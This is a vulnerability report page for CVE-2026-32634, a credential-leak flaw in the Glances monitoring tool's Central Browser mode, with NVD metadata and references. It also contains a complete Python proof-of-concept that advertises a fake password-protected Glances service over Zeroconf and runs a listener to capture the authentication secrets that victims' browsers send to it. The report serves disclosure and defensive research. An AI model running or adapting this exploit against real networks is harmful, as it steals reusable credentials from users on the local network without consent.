Security Vulnerability Report
中文
CVE-2026-32634 CVSS 8.1 HIGH

CVE-2026-32634

Published: 2026-03-18 18:16:29
Last Modified: 2026-03-19 19:03:47

Description

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:* - VULNERABLE
Glances < 4.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-32634 PoC - Fake Glances Zeroconf Service Advertiser This PoC demonstrates how an attacker can advertise a fake Glances service via Zeroconf to steal authentication credentials. Usage: python3 cve_2026_32634_poc.py [fake_server_name] """ import socket import struct import time from datetime import datetime try: import zeroconf from zeroconf import ServiceInfo, Zeroconf except ImportError: print("[-] python-zeroconf not installed. Run: pip install zeroconf") exit(1) class FakeGlancesService: def __init__(self, fake_name="protected-glances-server"): self.fake_name = fake_name self.zc = Zeroconf() self.attacker_ip = self.get_local_ip() def get_local_ip(self): """Get local IP address""" s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 80)) ip = s.getsockname()[0] except Exception: ip = "127.0.0.1" finally: s.close() return ip def create_fake_service(self): """Create a fake Glances service info mimicking a protected server""" # Glances service type service_type = "_glances._tcp.local." service_name = f"{self.fake_name}._glances._tcp.local." # Service properties - mimic a password-protected Glances server properties = { b'version': b'4.0', b'password': b'true', # Indicate password protected b'cpu': b'true', b'mem': b'true', b'load': b'true', b'process': b'true', } service_info = ServiceInfo( service_type, service_name, addresses=[socket.inet_aton(self.attacker_ip)], port=61208, properties=properties, server=f"{self.fake_name}.local." ) return service_info def advertise(self, duration=300): """Advertise the fake Glances service""" print(f"[*] CVE-2026-32634 PoC - Fake Glances Zeroconf Advertiser") print(f"[*] Fake server name: {self.fake_name}") print(f"[*] Attacker IP: {self.attacker_ip}:61208") print(f"[*] Duration: {duration} seconds") print("[*] Waiting for victims to query Zeroconf services...") service_info = self.create_fake_service() try: self.zc.register_service(service_info) print(f"[+] Fake service '{self.fake_name}' advertised successfully") print(f"[+] Any Glances Central Browser on the network will") print(f" attempt to connect to {self.attacker_ip}:61208") print(f" using credentials for '{self.fake_name}'") # Wait and capture incoming connections self.wait_for_connections(duration) except Exception as e: print(f"[-] Error advertising service: {e}") finally: self.cleanup() def wait_for_connections(self, duration): """Simple HTTP server to capture Glances authentication attempts""" import threading server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', 61208)) server_socket.listen(5) server_socket.settimeout(10) captured_creds = [] start_time = time.time() def handle_client(client_socket, addr): try: request = client_socket.recv(4096) print(f"\n[!] Connection from {addr}") print(f"[!] Request:\n{request.decode('utf-8', errors='ignore')}") captured_creds.append({ 'timestamp': datetime.now().isoformat(), 'source': str(addr), 'request': request.decode('utf-8', errors='ignore') }) # Send 401 response response = b"HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"Glances\"\r\n\r\n" client_socket.send(response) client_socket.close() except Exception as e: print(f"[-] Error handling client: {e}") print("\n[*] Starting credential capture server on port 61208...") while time.time() - start_time < duration: try: client, addr = server_socket.accept() threading.Thread(target=handle_client, args=(client, addr)).start() except socket.timeout: continue except Exception as e: print(f"[-] Server error: {e}") break server_socket.close() if captured_creds: print(f"\n[+] Captured {len(captured_creds)} authentication attempts:") for cred in captured_creds: print(f" - {cred['timestamp']} from {cred['source']}") def cleanup(self): """Cleanup Zeroconf registration""" print("[*] Cleaning up...") self.zc.close() if __name__ == "__main__": import sys fake_name = sys.argv[1] if len(sys.argv) > 1 else "protected-glances-server" print("\n" + "="*60) print("CVE-2026-32634 - Glances Zeroconf Authentication Hijacking") print("="*60 + "\n") advertiser = FakeGlancesService(fake_name) advertiser.advertise(duration=300)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32634", "sourceIdentifier": "[email protected]", "published": "2026-03-18T18:16:29.097", "lastModified": "2026-03-19T19:03:47.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue."}, {"lang": "es", "value": "Glances es una herramienta de monitoreo de sistema de código abierto multiplataforma. Antes de la versión 4.5.2, en modo Navegador Central, Glances almacena tanto el nombre del servidor anunciado por Zeroconf como la dirección IP descubierta para servidores dinámicos, pero luego construye URIs de conexión a partir del nombre anunciado no confiable en lugar de la IP descubierta. Cuando un servidor dinámico se reporta como protegido, Glances también usa ese mismo nombre no confiable como clave de búsqueda para contraseñas guardadas y la credencial global '[passwords] default'. Un atacante en la misma red local puede anunciar un servicio Glances falso a través de Zeroconf y hacer que el navegador envíe automáticamente un secreto de autenticación de Glances reutilizable a un host controlado por el atacante. Esto afecta la ruta de sondeo en segundo plano y la ruta de clic de REST/WebUI en modo Navegador Central. La versión 4.5.2 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}, {"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.2", "matchCriteriaId": "3FC19E01-80F1-43BB-912C-39FE99143A59"}]}]}], "references": [{"url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}